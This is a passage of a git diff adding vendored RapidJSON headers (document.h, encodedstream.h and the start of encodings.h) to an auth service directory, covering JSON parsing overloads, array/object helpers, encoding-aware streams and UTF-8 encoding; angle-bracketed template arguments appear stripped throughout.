which produces SAX events. + /*! \tparam Generator A functor with bool f(Handler) prototype. + \param g Generator functor which sends SAX events to the parameter. + \return The document itself for fluent API. + */ + template + GenericDocument& Populate(Generator& g) { + ClearStackOnExit scope(*this); + if (g(*this)) { + RAPIDJSON_ASSERT(stack_.GetSize() == sizeof(ValueType)); // Got one and only one root object + ValueType::operator=(*stack_.template Pop(1));// Move value from stack to document + } + return *this; + } + + //!@name Parse from stream + //!@{ + + //! Parse JSON text from an input stream (with Encoding conversion) + /*! \tparam parseFlags Combination of \ref ParseFlag. + \tparam SourceEncoding Encoding of input stream + \tparam InputStream Type of input stream, implementing Stream concept + \param is Input stream to be parsed. + \return The document itself for fluent API. + */ + template + GenericDocument& ParseStream(InputStream& is) { + GenericReader reader( + stack_.HasAllocator() ? &stack_.GetAllocator() : 0); + ClearStackOnExit scope(*this); + parseResult_ = reader.template Parse(is, *this); + if (parseResult_) { + RAPIDJSON_ASSERT(stack_.GetSize() == sizeof(ValueType)); // Got one and only one root object + ValueType::operator=(*stack_.template Pop(1));// Move value from stack to document + } + return *this; + } + + //! Parse JSON text from an input stream + /*! \tparam parseFlags Combination of \ref ParseFlag. + \tparam InputStream Type of input stream, implementing Stream concept + \param is Input stream to be parsed. + \return The document itself for fluent API. + */ + template + GenericDocument& ParseStream(InputStream& is) { + return ParseStream(is); + } + + //! Parse JSON text from an input stream (with \ref kParseDefaultFlags) + /*! \tparam InputStream Type of input stream, implementing Stream concept + \param is Input stream to be parsed. + \return The document itself for fluent API. + */ + template + GenericDocument& ParseStream(InputStream& is) { + return ParseStream(is); + } + //!@} + + //!@name Parse in-place from mutable string + //!@{ + + //! Parse JSON text from a mutable string + /*! \tparam parseFlags Combination of \ref ParseFlag. + \param str Mutable zero-terminated string to be parsed. + \return The document itself for fluent API. + */ + template + GenericDocument& ParseInsitu(Ch* str) { + GenericInsituStringStream s(str); + return ParseStream(s); + } + + //! Parse JSON text from a mutable string (with \ref kParseDefaultFlags) + /*! \param str Mutable zero-terminated string to be parsed. + \return The document itself for fluent API. + */ + GenericDocument& ParseInsitu(Ch* str) { + return ParseInsitu(str); + } + //!@} + + //!@name Parse from read-only string + //!@{ + + //! Parse JSON text from a read-only string (with Encoding conversion) + /*! \tparam parseFlags Combination of \ref ParseFlag (must not contain \ref kParseInsituFlag). + \tparam SourceEncoding Transcoding from input Encoding + \param str Read-only zero-terminated string to be parsed. + */ + template + GenericDocument& Parse(const typename SourceEncoding::Ch* str) { + RAPIDJSON_ASSERT(!(parseFlags & kParseInsituFlag)); + GenericStringStream s(str); + return ParseStream(s); + } + + //! Parse JSON text from a read-only string + /*! \tparam parseFlags Combination of \ref ParseFlag (must not contain \ref kParseInsituFlag). + \param str Read-only zero-terminated string to be parsed. + */ + template + GenericDocument& Parse(const Ch* str) { + return Parse(str); + } + + //! Parse JSON text from a read-only string (with \ref kParseDefaultFlags) + /*! \param str Read-only zero-terminated string to be parsed. + */ + GenericDocument& Parse(const Ch* str) { + return Parse(str); + } + + template + GenericDocument& Parse(const typename SourceEncoding::Ch* str, size_t length) { + RAPIDJSON_ASSERT(!(parseFlags & kParseInsituFlag)); + MemoryStream ms(reinterpret_cast(str), length * sizeof(typename SourceEncoding::Ch)); + EncodedInputStream is(ms); + ParseStream(is); + return *this; + } + + template + GenericDocument& Parse(const Ch* str, size_t length) { + return Parse(str, length); + } + + GenericDocument& Parse(const Ch* str, size_t length) { + return Parse(str, length); + } + +#if RAPIDJSON_HAS_STDSTRING + template + GenericDocument& Parse(const std::basic_string& str) { + // c_str() is constant complexity according to standard. Should be faster than Parse(const char*, size_t) + return Parse(str.c_str()); + } + + template + GenericDocument& Parse(const std::basic_string& str) { + return Parse(str.c_str()); + } + + GenericDocument& Parse(const std::basic_string& str) { + return Parse(str); + } +#endif // RAPIDJSON_HAS_STDSTRING + + //!@} + + //!@name Handling parse errors + //!@{ + + //! Whether a parse error has occurred in the last parsing. + bool HasParseError() const { return parseResult_.IsError(); } + + //! Get the \ref ParseErrorCode of last parsing. + ParseErrorCode GetParseError() const { return parseResult_.Code(); } + + //! Get the position of last parsing error in input, 0 otherwise. + size_t GetErrorOffset() const { return parseResult_.Offset(); } + + //! Implicit conversion to get the last parse result +#ifndef __clang // -Wdocumentation + /*! \return \ref ParseResult of the last parse operation + + \code + Document doc; + ParseResult ok = doc.Parse(json); + if (!ok) + printf( "JSON parse error: %s (%u)\n", GetParseError_En(ok.Code()), ok.Offset()); + \endcode + */ +#endif + operator ParseResult() const { return parseResult_; } + //!@} + + //! Get the allocator of this document. + Allocator& GetAllocator() { + RAPIDJSON_ASSERT(allocator_); + return *allocator_; + } + + //! Get the capacity of stack in bytes. + size_t GetStackCapacity() const { return stack_.GetCapacity(); } + +private: + // clear stack on any exit from ParseStream, e.g. due to exception + struct ClearStackOnExit { + explicit ClearStackOnExit(GenericDocument& d) : d_(d) {} + ~ClearStackOnExit() { d_.ClearStack(); } + private: + ClearStackOnExit(const ClearStackOnExit&); + ClearStackOnExit& operator=(const ClearStackOnExit&); + GenericDocument& d_; + }; + + // callers of the following private Handler functions + // template friend class GenericReader; // for parsing + template friend class GenericValue; // for deep copying + +public: + // Implementation of Handler + bool Null() { new (stack_.template Push()) ValueType(); return true; } + bool Bool(bool b) { new (stack_.template Push()) ValueType(b); return true; } + bool Int(int i) { new (stack_.template Push()) ValueType(i); return true; } + bool Uint(unsigned i) { new (stack_.template Push()) ValueType(i); return true; } + bool Int64(int64_t i) { new (stack_.template Push()) ValueType(i); return true; } + bool Uint64(uint64_t i) { new (stack_.template Push()) ValueType(i); return true; } + bool Double(double d) { new (stack_.template Push()) ValueType(d); return true; } + + bool RawNumber(const Ch* str, SizeType length, bool copy) { + if (copy) + new (stack_.template Push()) ValueType(str, length, GetAllocator()); + else + new (stack_.template Push()) ValueType(str, length); + return true; + } + + bool String(const Ch* str, SizeType length, bool copy) { + if (copy) + new (stack_.template Push()) ValueType(str, length, GetAllocator()); + else + new (stack_.template Push()) ValueType(str, length); + return true; + } + + bool StartObject() { new (stack_.template Push()) ValueType(kObjectType); return true; } + + bool Key(const Ch* str, SizeType length, bool copy) { return String(str, length, copy); } + + bool EndObject(SizeType memberCount) { + typename ValueType::Member* members = stack_.template Pop(memberCount); + stack_.template Top()->SetObjectRaw(members, memberCount, GetAllocator()); + return true; + } + + bool StartArray() { new (stack_.template Push()) ValueType(kArrayType); return true; } + + bool EndArray(SizeType elementCount) { + ValueType* elements = stack_.template Pop(elementCount); + stack_.template Top()->SetArrayRaw(elements, elementCount, GetAllocator()); + return true; + } + +private: + //! Prohibit copying + GenericDocument(const GenericDocument&); + //! Prohibit assignment + GenericDocument& operator=(const GenericDocument&); + + void ClearStack() { + if (Allocator::kNeedFree) + while (stack_.GetSize() > 0) // Here assumes all elements in stack array are GenericValue (Member is actually 2 GenericValue objects) + (stack_.template Pop(1))->~ValueType(); + else + stack_.Clear(); + stack_.ShrinkToFit(); + } + + void Destroy() { + RAPIDJSON_DELETE(ownAllocator_); + } + + static const size_t kDefaultStackCapacity = 1024; + Allocator* allocator_; + Allocator* ownAllocator_; + internal::Stack stack_; + ParseResult parseResult_; +}; + +//! GenericDocument with UTF8 encoding +typedef GenericDocument > Document; + + +//! Helper class for accessing Value of array type. +/*! + Instance of this helper class is obtained by \c GenericValue::GetArray(). + In addition to all APIs for array type, it provides range-based for loop if \c RAPIDJSON_HAS_CXX11_RANGE_FOR=1. +*/ +template +class GenericArray { +public: + typedef GenericArray ConstArray; + typedef GenericArray Array; + typedef ValueT PlainType; + typedef typename internal::MaybeAddConst::Type ValueType; + typedef ValueType* ValueIterator; // This may be const or non-const iterator + typedef const ValueT* ConstValueIterator; + typedef typename ValueType::AllocatorType AllocatorType; + typedef typename ValueType::StringRefType StringRefType; + + template + friend class GenericValue; + + GenericArray(const GenericArray& rhs) : value_(rhs.value_) {} + GenericArray& operator=(const GenericArray& rhs) { value_ = rhs.value_; return *this; } + ~GenericArray() {} + + operator ValueType&() const { return value_; } + SizeType Size() const { return value_.Size(); } + SizeType Capacity() const { return value_.Capacity(); } + bool Empty() const { return value_.Empty(); } + void Clear() const { value_.Clear(); } + ValueType& operator[](SizeType index) const { return value_[index]; } + ValueIterator Begin() const { return value_.Begin(); } + ValueIterator End() const { return value_.End(); } + GenericArray Reserve(SizeType newCapacity, AllocatorType &allocator) const { value_.Reserve(newCapacity, allocator); return *this; } + GenericArray PushBack(ValueType& value, AllocatorType& allocator) const { value_.PushBack(value, allocator); return *this; } +#if RAPIDJSON_HAS_CXX11_RVALUE_REFS + GenericArray PushBack(ValueType&& value, AllocatorType& allocator) const { value_.PushBack(value, allocator); return *this; } +#endif // RAPIDJSON_HAS_CXX11_RVALUE_REFS + GenericArray PushBack(StringRefType value, AllocatorType& allocator) const { value_.PushBack(value, allocator); return *this; } + template RAPIDJSON_DISABLEIF_RETURN((internal::OrExpr, internal::IsGenericValue >), (const GenericArray&)) PushBack(T value, AllocatorType& allocator) const { value_.PushBack(value, allocator); return *this; } + GenericArray PopBack() const { value_.PopBack(); return *this; } + ValueIterator Erase(ConstValueIterator pos) const { return value_.Erase(pos); } + ValueIterator Erase(ConstValueIterator first, ConstValueIterator last) const { return value_.Erase(first, last); } + +#if RAPIDJSON_HAS_CXX11_RANGE_FOR + ValueIterator begin() const { return value_.Begin(); } + ValueIterator end() const { return value_.End(); } +#endif + +private: + GenericArray(); + GenericArray(ValueType& value) : value_(value) {} + ValueType& value_; +}; + +//! Helper class for accessing Value of object type. +/*! + Instance of this helper class is obtained by \c GenericValue::GetObject(). + In addition to all APIs for array type, it provides range-based for loop if \c RAPIDJSON_HAS_CXX11_RANGE_FOR=1. +*/ +template +class GenericObject { +public: + typedef GenericObject ConstObject; + typedef GenericObject Object; + typedef ValueT PlainType; + typedef typename internal::MaybeAddConst::Type ValueType; + typedef GenericMemberIterator MemberIterator; // This may be const or non-const iterator + typedef GenericMemberIterator ConstMemberIterator; + typedef typename ValueType::AllocatorType AllocatorType; + typedef typename ValueType::StringRefType StringRefType; + typedef typename ValueType::EncodingType EncodingType; + typedef typename ValueType::Ch Ch; + + template + friend class GenericValue; + + GenericObject(const GenericObject& rhs) : value_(rhs.value_) {} + GenericObject& operator=(const GenericObject& rhs) { value_ = rhs.value_; return *this; } + ~GenericObject() {} + + operator ValueType&() const { return value_; } + SizeType MemberCount() const { return value_.MemberCount(); } + SizeType MemberCapacity() const { return value_.MemberCapacity(); } + bool ObjectEmpty() const { return value_.ObjectEmpty(); } + template ValueType& operator[](T* name) const { return value_[name]; } + template ValueType& operator[](const GenericValue& name) const { return value_[name]; } +#if RAPIDJSON_HAS_STDSTRING + ValueType& operator[](const std::basic_string& name) const { return value_[name]; } +#endif + MemberIterator MemberBegin() const { return value_.MemberBegin(); } + MemberIterator MemberEnd() const { return value_.MemberEnd(); } + GenericObject MemberReserve(SizeType newCapacity, AllocatorType &allocator) const { value_.MemberReserve(newCapacity, allocator); return *this; } + bool HasMember(const Ch* name) const { return value_.HasMember(name); } +#if RAPIDJSON_HAS_STDSTRING + bool HasMember(const std::basic_string& name) const { return value_.HasMember(name); } +#endif + template bool HasMember(const GenericValue& name) const { return value_.HasMember(name); } + MemberIterator FindMember(const Ch* name) const { return value_.FindMember(name); } + template MemberIterator FindMember(const GenericValue& name) const { return value_.FindMember(name); } +#if RAPIDJSON_HAS_STDSTRING + MemberIterator FindMember(const std::basic_string& name) const { return value_.FindMember(name); } +#endif + GenericObject AddMember(ValueType& name, ValueType& value, AllocatorType& allocator) const { value_.AddMember(name, value, allocator); return *this; } + GenericObject AddMember(ValueType& name, StringRefType value, AllocatorType& allocator) const { value_.AddMember(name, value, allocator); return *this; } +#if RAPIDJSON_HAS_STDSTRING + GenericObject AddMember(ValueType& name, std::basic_string& value, AllocatorType& allocator) const { value_.AddMember(name, value, allocator); return *this; } +#endif + template RAPIDJSON_DISABLEIF_RETURN((internal::OrExpr, internal::IsGenericValue >), (ValueType&)) AddMember(ValueType& name, T value, AllocatorType& allocator) const { value_.AddMember(name, value, allocator); return *this; } +#if RAPIDJSON_HAS_CXX11_RVALUE_REFS + GenericObject AddMember(ValueType&& name, ValueType&& value, AllocatorType& allocator) const { value_.AddMember(name, value, allocator); return *this; } + GenericObject AddMember(ValueType&& name, ValueType& value, AllocatorType& allocator) const { value_.AddMember(name, value, allocator); return *this; } + GenericObject AddMember(ValueType& name, ValueType&& value, AllocatorType& allocator) const { value_.AddMember(name, value, allocator); return *this; } + GenericObject AddMember(StringRefType name, ValueType&& value, AllocatorType& allocator) const { value_.AddMember(name, value, allocator); return *this; } +#endif // RAPIDJSON_HAS_CXX11_RVALUE_REFS + GenericObject AddMember(StringRefType name, ValueType& value, AllocatorType& allocator) const { value_.AddMember(name, value, allocator); return *this; } + GenericObject AddMember(StringRefType name, StringRefType value, AllocatorType& allocator) const { value_.AddMember(name, value, allocator); return *this; } + template RAPIDJSON_DISABLEIF_RETURN((internal::OrExpr, internal::IsGenericValue >), (GenericObject)) AddMember(StringRefType name, T value, AllocatorType& allocator) const { value_.AddMember(name, value, allocator); return *this; } + void RemoveAllMembers() { value_.RemoveAllMembers(); } + bool RemoveMember(const Ch* name) const { return value_.RemoveMember(name); } +#if RAPIDJSON_HAS_STDSTRING + bool RemoveMember(const std::basic_string& name) const { return value_.RemoveMember(name); } +#endif + template bool RemoveMember(const GenericValue& name) const { return value_.RemoveMember(name); } + MemberIterator RemoveMember(MemberIterator m) const { return value_.RemoveMember(m); } + MemberIterator EraseMember(ConstMemberIterator pos) const { return value_.EraseMember(pos); } + MemberIterator EraseMember(ConstMemberIterator first, ConstMemberIterator last) const { return value_.EraseMember(first, last); } + bool EraseMember(const Ch* name) const { return value_.EraseMember(name); } +#if RAPIDJSON_HAS_STDSTRING + bool EraseMember(const std::basic_string& name) const { return EraseMember(ValueType(StringRef(name))); } +#endif + template bool EraseMember(const GenericValue& name) const { return value_.EraseMember(name); } + +#if RAPIDJSON_HAS_CXX11_RANGE_FOR + MemberIterator begin() const { return value_.MemberBegin(); } + MemberIterator end() const { return value_.MemberEnd(); } +#endif + +private: + GenericObject(); + GenericObject(ValueType& value) : value_(value) {} + ValueType& value_; +}; + +RAPIDJSON_NAMESPACE_END +RAPIDJSON_DIAG_POP + +#ifdef RAPIDJSON_WINDOWS_GETOBJECT_WORKAROUND_APPLIED +#pragma pop_macro("GetObject") +#undef RAPIDJSON_WINDOWS_GETOBJECT_WORKAROUND_APPLIED +#endif + +#endif // RAPIDJSON_DOCUMENT_H_ diff --git a/services/service2/src/auth_service/rapidjson/encodedstream.h b/services/service2/src/auth_service/rapidjson/encodedstream.h new file mode 100644 index 0000000..cf046b8 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/encodedstream.h @@ -0,0 +1,299 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_ENCODEDSTREAM_H_ +#define RAPIDJSON_ENCODEDSTREAM_H_ + +#include "stream.h" +#include "memorystream.h" + +#ifdef __GNUC__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(effc++) +#endif + +#ifdef __clang__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(padded) +#endif + +RAPIDJSON_NAMESPACE_BEGIN + +//! Input byte stream wrapper with a statically bound encoding. +/*! + \tparam Encoding The interpretation of encoding of the stream. Either UTF8, UTF16LE, UTF16BE, UTF32LE, UTF32BE. + \tparam InputByteStream Type of input byte stream. For example, FileReadStream. +*/ +template +class EncodedInputStream { + RAPIDJSON_STATIC_ASSERT(sizeof(typename InputByteStream::Ch) == 1); +public: + typedef typename Encoding::Ch Ch; + + EncodedInputStream(InputByteStream& is) : is_(is) { + current_ = Encoding::TakeBOM(is_); + } + + Ch Peek() const { return current_; } + Ch Take() { Ch c = current_; current_ = Encoding::Take(is_); return c; } + size_t Tell() const { return is_.Tell(); } + + // Not implemented + void Put(Ch) { RAPIDJSON_ASSERT(false); } + void Flush() { RAPIDJSON_ASSERT(false); } + Ch* PutBegin() { RAPIDJSON_ASSERT(false); return 0; } + size_t PutEnd(Ch*) { RAPIDJSON_ASSERT(false); return 0; } + +private: + EncodedInputStream(const EncodedInputStream&); + EncodedInputStream& operator=(const EncodedInputStream&); + + InputByteStream& is_; + Ch current_; +}; + +//! Specialized for UTF8 MemoryStream. +template <> +class EncodedInputStream, MemoryStream> { +public: + typedef UTF8<>::Ch Ch; + + EncodedInputStream(MemoryStream& is) : is_(is) { + if (static_cast(is_.Peek()) == 0xEFu) is_.Take(); + if (static_cast(is_.Peek()) == 0xBBu) is_.Take(); + if (static_cast(is_.Peek()) == 0xBFu) is_.Take(); + } + Ch Peek() const { return is_.Peek(); } + Ch Take() { return is_.Take(); } + size_t Tell() const { return is_.Tell(); } + + // Not implemented + void Put(Ch) {} + void Flush() {} + Ch* PutBegin() { return 0; } + size_t PutEnd(Ch*) { return 0; } + + MemoryStream& is_; + +private: + EncodedInputStream(const EncodedInputStream&); + EncodedInputStream& operator=(const EncodedInputStream&); +}; + +//! Output byte stream wrapper with statically bound encoding. +/*! + \tparam Encoding The interpretation of encoding of the stream. Either UTF8, UTF16LE, UTF16BE, UTF32LE, UTF32BE. + \tparam OutputByteStream Type of input byte stream. For example, FileWriteStream. +*/ +template +class EncodedOutputStream { + RAPIDJSON_STATIC_ASSERT(sizeof(typename OutputByteStream::Ch) == 1); +public: + typedef typename Encoding::Ch Ch; + + EncodedOutputStream(OutputByteStream& os, bool putBOM = true) : os_(os) { + if (putBOM) + Encoding::PutBOM(os_); + } + + void Put(Ch c) { Encoding::Put(os_, c); } + void Flush() { os_.Flush(); } + + // Not implemented + Ch Peek() const { RAPIDJSON_ASSERT(false); return 0;} + Ch Take() { RAPIDJSON_ASSERT(false); return 0;} + size_t Tell() const { RAPIDJSON_ASSERT(false); return 0; } + Ch* PutBegin() { RAPIDJSON_ASSERT(false); return 0; } + size_t PutEnd(Ch*) { RAPIDJSON_ASSERT(false); return 0; } + +private: + EncodedOutputStream(const EncodedOutputStream&); + EncodedOutputStream& operator=(const EncodedOutputStream&); + + OutputByteStream& os_; +}; + +#define RAPIDJSON_ENCODINGS_FUNC(x) UTF8::x, UTF16LE::x, UTF16BE::x, UTF32LE::x, UTF32BE::x + +//! Input stream wrapper with dynamically bound encoding and automatic encoding detection. +/*! + \tparam CharType Type of character for reading. + \tparam InputByteStream type of input byte stream to be wrapped. +*/ +template +class AutoUTFInputStream { + RAPIDJSON_STATIC_ASSERT(sizeof(typename InputByteStream::Ch) == 1); +public: + typedef CharType Ch; + + //! Constructor. + /*! + \param is input stream to be wrapped. + \param type UTF encoding type if it is not detected from the stream. + */ + AutoUTFInputStream(InputByteStream& is, UTFType type = kUTF8) : is_(&is), type_(type), hasBOM_(false) { + RAPIDJSON_ASSERT(type >= kUTF8 && type <= kUTF32BE); + DetectType(); + static const TakeFunc f[] = { RAPIDJSON_ENCODINGS_FUNC(Take) }; + takeFunc_ = f[type_]; + current_ = takeFunc_(*is_); + } + + UTFType GetType() const { return type_; } + bool HasBOM() const { return hasBOM_; } + + Ch Peek() const { return current_; } + Ch Take() { Ch c = current_; current_ = takeFunc_(*is_); return c; } + size_t Tell() const { return is_->Tell(); } + + // Not implemented + void Put(Ch) { RAPIDJSON_ASSERT(false); } + void Flush() { RAPIDJSON_ASSERT(false); } + Ch* PutBegin() { RAPIDJSON_ASSERT(false); return 0; } + size_t PutEnd(Ch*) { RAPIDJSON_ASSERT(false); return 0; } + +private: + AutoUTFInputStream(const AutoUTFInputStream&); + AutoUTFInputStream& operator=(const AutoUTFInputStream&); + + // Detect encoding type with BOM or RFC 4627 + void DetectType() { + // BOM (Byte Order Mark): + // 00 00 FE FF UTF-32BE + // FF FE 00 00 UTF-32LE + // FE FF UTF-16BE + // FF FE UTF-16LE + // EF BB BF UTF-8 + + const unsigned char* c = reinterpret_cast(is_->Peek4()); + if (!c) + return; + + unsigned bom = static_cast(c[0] | (c[1] << 8) | (c[2] << 16) | (c[3] << 24)); + hasBOM_ = false; + if (bom == 0xFFFE0000) { type_ = kUTF32BE; hasBOM_ = true; is_->Take(); is_->Take(); is_->Take(); is_->Take(); } + else if (bom == 0x0000FEFF) { type_ = kUTF32LE; hasBOM_ = true; is_->Take(); is_->Take(); is_->Take(); is_->Take(); } + else if ((bom & 0xFFFF) == 0xFFFE) { type_ = kUTF16BE; hasBOM_ = true; is_->Take(); is_->Take(); } + else if ((bom & 0xFFFF) == 0xFEFF) { type_ = kUTF16LE; hasBOM_ = true; is_->Take(); is_->Take(); } + else if ((bom & 0xFFFFFF) == 0xBFBBEF) { type_ = kUTF8; hasBOM_ = true; is_->Take(); is_->Take(); is_->Take(); } + + // RFC 4627: Section 3 + // "Since the first two characters of a JSON text will always be ASCII + // characters [RFC0020], it is possible to determine whether an octet + // stream is UTF-8, UTF-16 (BE or LE), or UTF-32 (BE or LE) by looking + // at the pattern of nulls in the first four octets." + // 00 00 00 xx UTF-32BE + // 00 xx 00 xx UTF-16BE + // xx 00 00 00 UTF-32LE + // xx 00 xx 00 UTF-16LE + // xx xx xx xx UTF-8 + + if (!hasBOM_) { + int pattern = (c[0] ? 1 : 0) | (c[1] ? 2 : 0) | (c[2] ? 4 : 0) | (c[3] ? 8 : 0); + switch (pattern) { + case 0x08: type_ = kUTF32BE; break; + case 0x0A: type_ = kUTF16BE; break; + case 0x01: type_ = kUTF32LE; break; + case 0x05: type_ = kUTF16LE; break; + case 0x0F: type_ = kUTF8; break; + default: break; // Use type defined by user. + } + } + + // Runtime check whether the size of character type is sufficient. It only perform checks with assertion. + if (type_ == kUTF16LE || type_ == kUTF16BE) RAPIDJSON_ASSERT(sizeof(Ch) >= 2); + if (type_ == kUTF32LE || type_ == kUTF32BE) RAPIDJSON_ASSERT(sizeof(Ch) >= 4); + } + + typedef Ch (*TakeFunc)(InputByteStream& is); + InputByteStream* is_; + UTFType type_; + Ch current_; + TakeFunc takeFunc_; + bool hasBOM_; +}; + +//! Output stream wrapper with dynamically bound encoding and automatic encoding detection. +/*! + \tparam CharType Type of character for writing. + \tparam OutputByteStream type of output byte stream to be wrapped. +*/ +template +class AutoUTFOutputStream { + RAPIDJSON_STATIC_ASSERT(sizeof(typename OutputByteStream::Ch) == 1); +public: + typedef CharType Ch; + + //! Constructor. + /*! + \param os output stream to be wrapped. + \param type UTF encoding type. + \param putBOM Whether to write BOM at the beginning of the stream. + */ + AutoUTFOutputStream(OutputByteStream& os, UTFType type, bool putBOM) : os_(&os), type_(type) { + RAPIDJSON_ASSERT(type >= kUTF8 && type <= kUTF32BE); + + // Runtime check whether the size of character type is sufficient. It only perform checks with assertion. + if (type_ == kUTF16LE || type_ == kUTF16BE) RAPIDJSON_ASSERT(sizeof(Ch) >= 2); + if (type_ == kUTF32LE || type_ == kUTF32BE) RAPIDJSON_ASSERT(sizeof(Ch) >= 4); + + static const PutFunc f[] = { RAPIDJSON_ENCODINGS_FUNC(Put) }; + putFunc_ = f[type_]; + + if (putBOM) + PutBOM(); + } + + UTFType GetType() const { return type_; } + + void Put(Ch c) { putFunc_(*os_, c); } + void Flush() { os_->Flush(); } + + // Not implemented + Ch Peek() const { RAPIDJSON_ASSERT(false); return 0;} + Ch Take() { RAPIDJSON_ASSERT(false); return 0;} + size_t Tell() const { RAPIDJSON_ASSERT(false); return 0; } + Ch* PutBegin() { RAPIDJSON_ASSERT(false); return 0; } + size_t PutEnd(Ch*) { RAPIDJSON_ASSERT(false); return 0; } + +private: + AutoUTFOutputStream(const AutoUTFOutputStream&); + AutoUTFOutputStream& operator=(const AutoUTFOutputStream&); + + void PutBOM() { + typedef void (*PutBOMFunc)(OutputByteStream&); + static const PutBOMFunc f[] = { RAPIDJSON_ENCODINGS_FUNC(PutBOM) }; + f[type_](*os_); + } + + typedef void (*PutFunc)(OutputByteStream&, Ch); + + OutputByteStream* os_; + UTFType type_; + PutFunc putFunc_; +}; + +#undef RAPIDJSON_ENCODINGS_FUNC + +RAPIDJSON_NAMESPACE_END + +#ifdef __clang__ +RAPIDJSON_DIAG_POP +#endif + +#ifdef __GNUC__ +RAPIDJSON_DIAG_POP +#endif + +#endif // RAPIDJSON_FILESTREAM_H_ diff --git a/services/service2/src/auth_service/rapidjson/encodings.h b/services/service2/src/auth_service/rapidjson/encodings.h new file mode 100644 index 0000000..50ad18b --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/encodings.h @@ -0,0 +1,716 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_ENCODINGS_H_ +#define RAPIDJSON_ENCODINGS_H_ + +#include "rapidjson.h" + +#if defined(_MSC_VER) && !defined(__clang__) +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(4244) // conversion from 'type1' to 'type2', possible loss of data +RAPIDJSON_DIAG_OFF(4702) // unreachable code +#elif defined(__GNUC__) +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(effc++) +RAPIDJSON_DIAG_OFF(overflow) +#endif + +RAPIDJSON_NAMESPACE_BEGIN + +/////////////////////////////////////////////////////////////////////////////// +// Encoding + +/*! \class rapidjson::Encoding + \brief Concept for encoding of Unicode characters. + +\code +concept Encoding { + typename Ch; //! Type of character. A "character" is actually a code unit in unicode's definition. + + enum { supportUnicode = 1 }; // or 0 if not supporting unicode + + //! \brief Encode a Unicode codepoint to an output stream. + //! \param os Output stream. + //! \param codepoint An unicode codepoint, ranging from 0x0 to 0x10FFFF inclusively. + template + static void Encode(OutputStream& os, unsigned codepoint); + + //! \brief Decode a Unicode codepoint from an input stream. + //! \param is Input stream. + //! \param codepoint Output of the unicode codepoint. + //! \return true if a valid codepoint can be decoded from the stream. + template + static bool Decode(InputStream& is, unsigned* codepoint); + + //! \brief Validate one Unicode codepoint from an encoded stream. + //! \param is Input stream to obtain codepoint. + //! \param os Output for copying one codepoint. + //! \return true if it is valid. + //! \note This function just validating and copying the codepoint without actually decode it. + template + static bool Validate(InputStream& is, OutputStream& os); + + // The following functions are deal with byte streams. + + //! Take a character from input byte stream, skip BOM if exist. + template + static CharType TakeBOM(InputByteStream& is); + + //! Take a character from input byte stream. + template + static Ch Take(InputByteStream& is); + + //! Put BOM to output byte stream. + template + static void PutBOM(OutputByteStream& os); + + //! Put a character to output byte stream. + template + static void Put(OutputByteStream& os, Ch c); +}; +\endcode +*/ + +/////////////////////////////////////////////////////////////////////////////// +// UTF8 + +//! UTF-8 encoding. +/*! http://en.wikipedia.org/wiki/UTF-8 + http://tools.ietf.org/html/rfc3629 + \tparam CharType Code unit for storing 8-bit UTF-8 data. Default is char. + \note implements Encoding concept +*/ +template +struct UTF8 { + typedef CharType Ch; + + enum { supportUnicode = 1 }; + + template + static void Encode(OutputStream& os, unsigned codepoint) { + if (codepoint <= 0x7F) + os.Put(static_cast(codepoint & 0xFF)); + else if (codepoint <= 0x7FF) { + os.Put(static_cast(0xC0 | ((codepoint >> 6) & 0xFF))); + os.Put(static_cast(0x80 | ((codepoint & 0x3F)))); + } + else if (codepoint <= 0xFFFF) { + os.Put(static_cast(0xE0 | ((codepoint >> 12) & 0xFF))); + os.Put(static_cast(0x80 | ((codepoint >> 6) & 0x3F))); + os.Put(static_cast(0x80 | (codepoint & 0x3F))); + } + else { + RAPIDJSON_ASSERT(codepoint <= 0x10FFFF); + os.Put(static_cast(0xF0 | ((codepoint >> 18) & 0xFF))); + os.Put(static_cast(0x80 | ((codepoint >> 12) & 0x3F))); + os.Put(static_cast(0x80 | ((codepoint >> 6) & 0x3F))); + os.Put(static_cast(0x80 | (codepoint & 0x3F))); + } + } + + template + static void EncodeUnsafe(OutputStream& os, unsigned codepoint) { + if (codepoint <= 0x7F) + PutUnsafe(os, static_cast(codepoint & 0xFF)); + else if (codepoint <= 0x7FF) { + PutUnsafe(os, static_cast(0xC0 | ((codepoint >> 6) & 0xFF))); + PutUnsafe(os, static_cast(0x80 | ((codepoint & 0x3F)))); + } + else if (codepoint <= 0xFFFF) { + PutUnsafe(os, static_cast(0xE0 | ((codepoint >> 12) & 0xFF))); + PutUnsafe(os, static_cast(0x80 | ((codepoint >> 6) & 0x3F))); + PutUnsafe(os, static_cast(0x80 | (codepoint & 0x3F))); + } + else { + RAPIDJSON_ASSERT(codepoint <= 0x10FFFF); + PutUnsafe(os, static_cast(0xF0 | ((codepoint >> 18) & 0xFF))); + PutUnsafe(os, static_cast(0x80 | ((codepoint >> 12) & 0x3F))); + PutUnsafe(os, static_cast(0x80 | ((codepoint >> 6) & 0x3F))); + PutUnsafe(os, static_cast(0x80 | (codepoint & 0x3F))); + } + } + + template + static bool Decode(InputStream& is, unsigned* codepoint) { +#define RAPIDJSON_COPY() c = is.Take(); *codepoint = (*codepoint << 6) | (static_cast(c) & 0x3Fu) +#define RAPIDJSON_TRANS(mask) result &= 